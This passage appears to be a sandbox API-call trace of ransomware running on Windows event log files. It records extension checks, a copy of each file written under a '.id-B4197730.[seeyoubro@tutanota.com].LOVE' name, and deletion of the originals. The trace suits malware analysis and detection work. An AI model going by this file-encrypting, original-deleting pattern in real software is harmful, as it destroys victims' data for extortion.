lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.466] lstrlenW (lpString=".pdf") returned 4 [0206.466] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.466] lstrlenW (lpString=".xls") returned 4 [0206.466] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.466] lstrlenW (lpString=".xlsx") returned 5 [0206.466] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.466] lstrlenW (lpString=".ppt") returned 4 [0206.466] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.466] lstrlenW (lpString=".zip") returned 4 [0206.466] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.466] lstrlenW (lpString=".rar") returned 4 [0206.466] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.466] lstrlenW (lpString=".bz2") returned 4 [0206.466] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.466] lstrlenW (lpString=".7z") returned 3 [0206.466] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.466] lstrlenW (lpString=".dbf") returned 4 [0206.467] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.467] lstrlenW (lpString=".1cd") returned 4 [0206.467] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.467] lstrlenW (lpString=".jpg") returned 4 [0206.467] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.467] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.467] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46 [0206.467] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0206.467] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0206.467] CloseHandle (hObject=0x348) returned 1 [0206.467] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0206.467] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.467] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0206.467] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.468] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.468] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0206.483] GetLastError () returned 0x0 [0206.483] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.498] WriteFile (in: hFile=0x378, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.500] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.500] WriteFile (in: hFile=0x378, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x130, lpOverlapped=0x0) returned 1 [0206.500] SetEndOfFile (hFile=0x378) returned 1 [0206.500] CloseHandle (hObject=0x378) returned 1 [0206.501] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.501] SetEndOfFile (hFile=0x348) returned 1 [0206.502] CloseHandle (hObject=0x348) returned 1 [0206.502] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.503] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0206.503] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.503] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.503] lstrlenW (lpString=".doc") returned 4 [0206.503] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.503] lstrlenW (lpString=".docx") returned 5 [0206.503] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.503] lstrlenW (lpString=".pdf") returned 4 [0206.503] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.503] lstrlenW (lpString=".xls") returned 4 [0206.503] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.503] lstrlenW (lpString=".xlsx") returned 5 [0206.503] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.503] lstrlenW (lpString=".ppt") returned 4 [0206.503] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.503] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.503] lstrlenW (lpString=".zip") returned 4 [0206.503] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString=".rar") returned 4 [0206.504] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString=".bz2") returned 4 [0206.504] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString=".7z") returned 3 [0206.504] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.504] lstrlenW (lpString=".dbf") returned 4 [0206.504] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.504] lstrlenW (lpString=".1cd") returned 4 [0206.504] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.504] lstrlenW (lpString=".jpg") returned 4 [0206.504] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.504] lstrlenW (lpString=".doc") returned 4 [0206.504] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString=".docx") returned 5 [0206.504] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.504] lstrlenW (lpString=".pdf") returned 4 [0206.504] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString=".xls") returned 4 [0206.504] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString=".xlsx") returned 5 [0206.504] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.504] lstrlenW (lpString=".ppt") returned 4 [0206.504] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.504] lstrlenW (lpString=".zip") returned 4 [0206.504] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString=".rar") returned 4 [0206.504] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString=".bz2") returned 4 [0206.504] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.504] lstrlenW (lpString=".7z") returned 3 [0206.504] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.505] lstrlenW (lpString=".dbf") returned 4 [0206.505] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.505] lstrlenW (lpString=".1cd") returned 4 [0206.505] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0206.505] lstrlenW (lpString=".jpg") returned 4 [0206.505] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.505] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.505] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0206.505] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0206.505] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0206.505] CloseHandle (hObject=0x348) returned 1 [0206.505] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0206.505] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.506] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0206.506] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.506] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.506] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0206.506] GetLastError () returned 0x0 [0206.506] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.537] WriteFile (in: hFile=0x378, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.539] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.539] WriteFile (in: hFile=0x378, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x154, lpOverlapped=0x0) returned 1 [0206.539] SetEndOfFile (hFile=0x378) returned 1 [0206.539] CloseHandle (hObject=0x378) returned 1 [0206.541] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.541] SetEndOfFile (hFile=0x348) returned 1 [0206.542] CloseHandle (hObject=0x348) returned 1 [0206.542] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.542] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0206.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.543] lstrlenW (lpString=".doc") returned 4 [0206.543] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.543] lstrlenW (lpString=".docx") returned 5 [0206.543] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.543] lstrlenW (lpString=".pdf") returned 4 [0206.543] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.543] lstrlenW (lpString=".xls") returned 4 [0206.543] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.543] lstrlenW (lpString=".xlsx") returned 5 [0206.543] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.543] lstrlenW (lpString=".ppt") returned 4 [0206.543] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.543] lstrlenW (lpString=".zip") returned 4 [0206.543] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.543] lstrlenW (lpString=".rar") returned 4 [0206.543] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.543] lstrlenW (lpString=".bz2") returned 4 [0206.543] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.543] lstrlenW (lpString=".7z") returned 3 [0206.543] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.543] lstrlenW (lpString=".dbf") returned 4 [0206.543] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.543] lstrlenW (lpString=".1cd") returned 4 [0206.543] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.543] lstrlenW (lpString=".jpg") returned 4 [0206.543] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.543] lstrlenW (lpString=".doc") returned 4 [0206.543] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.544] lstrlenW (lpString=".docx") returned 5 [0206.544] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.544] lstrlenW (lpString=".pdf") returned 4 [0206.544] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.544] lstrlenW (lpString=".xls") returned 4 [0206.544] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.544] lstrlenW (lpString=".xlsx") returned 5 [0206.544] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.544] lstrlenW (lpString=".ppt") returned 4 [0206.544] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.544] lstrlenW (lpString=".zip") returned 4 [0206.544] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.544] lstrlenW (lpString=".rar") returned 4 [0206.544] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.544] lstrlenW (lpString=".bz2") returned 4 [0206.544] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.544] lstrlenW (lpString=".7z") returned 3 [0206.544] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.544] lstrlenW (lpString=".dbf") returned 4 [0206.544] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.544] lstrlenW (lpString=".1cd") returned 4 [0206.544] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0206.544] lstrlenW (lpString=".jpg") returned 4 [0206.544] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.544] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.544] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0206.544] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0206.547] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1052672) returned 1 [0206.548] CloseHandle (hObject=0x348) returned 1 [0206.548] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0206.548] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.548] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0206.548] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.548] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.548] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0206.548] GetLastError () returned 0x0 [0206.548] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0206.638] WriteFile (in: hFile=0x378, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0206.656] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x1010, lpOverlapped=0x0) returned 1 [0207.145] WriteFile (in: hFile=0x378, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x1020, lpOverlapped=0x0) returned 1 [0207.154] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.155] WriteFile (in: hFile=0x378, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x126, lpOverlapped=0x0) returned 1 [0207.155] SetEndOfFile (hFile=0x378) returned 1 [0207.155] CloseHandle (hObject=0x378) returned 1 [0207.473] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.473] SetEndOfFile (hFile=0x348) returned 1 [0207.474] CloseHandle (hObject=0x348) returned 1 [0207.474] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.474] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0207.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.475] lstrlenW (lpString=".doc") returned 4 [0207.475] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.475] lstrlenW (lpString=".docx") returned 5 [0207.475] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.475] lstrlenW (lpString=".pdf") returned 4 [0207.475] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.475] lstrlenW (lpString=".xls") returned 4 [0207.475] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.475] lstrlenW (lpString=".xlsx") returned 5 [0207.475] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.475] lstrlenW (lpString=".ppt") returned 4 [0207.475] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.475] lstrlenW (lpString=".zip") returned 4 [0207.475] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.475] lstrlenW (lpString=".rar") returned 4 [0207.475] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.475] lstrlenW (lpString=".bz2") returned 4 [0207.475] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.475] lstrlenW (lpString=".7z") returned 3 [0207.475] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.475] lstrlenW (lpString=".dbf") returned 4 [0207.475] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.476] lstrlenW (lpString=".1cd") returned 4 [0207.476] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.476] lstrlenW (lpString=".jpg") returned 4 [0207.476] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.476] lstrlenW (lpString=".doc") returned 4 [0207.476] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.476] lstrlenW (lpString=".docx") returned 5 [0207.476] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.476] lstrlenW (lpString=".pdf") returned 4 [0207.476] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.476] lstrlenW (lpString=".xls") returned 4 [0207.476] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.476] lstrlenW (lpString=".xlsx") returned 5 [0207.476] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.476] lstrlenW (lpString=".ppt") returned 4 [0207.476] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.476] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0207.476] lstrlenW (lpString=".zip") returned 4 [0207.476] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.476] lstrlenW (lpString=".rar") returned 4 [0207.476] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.476] lstrlenW (lpString=".bz2") returned 4 [0207.476] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.476] lstrlenW (lpString=".7z") returned 3 [0207.476] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.477] lstrlenW 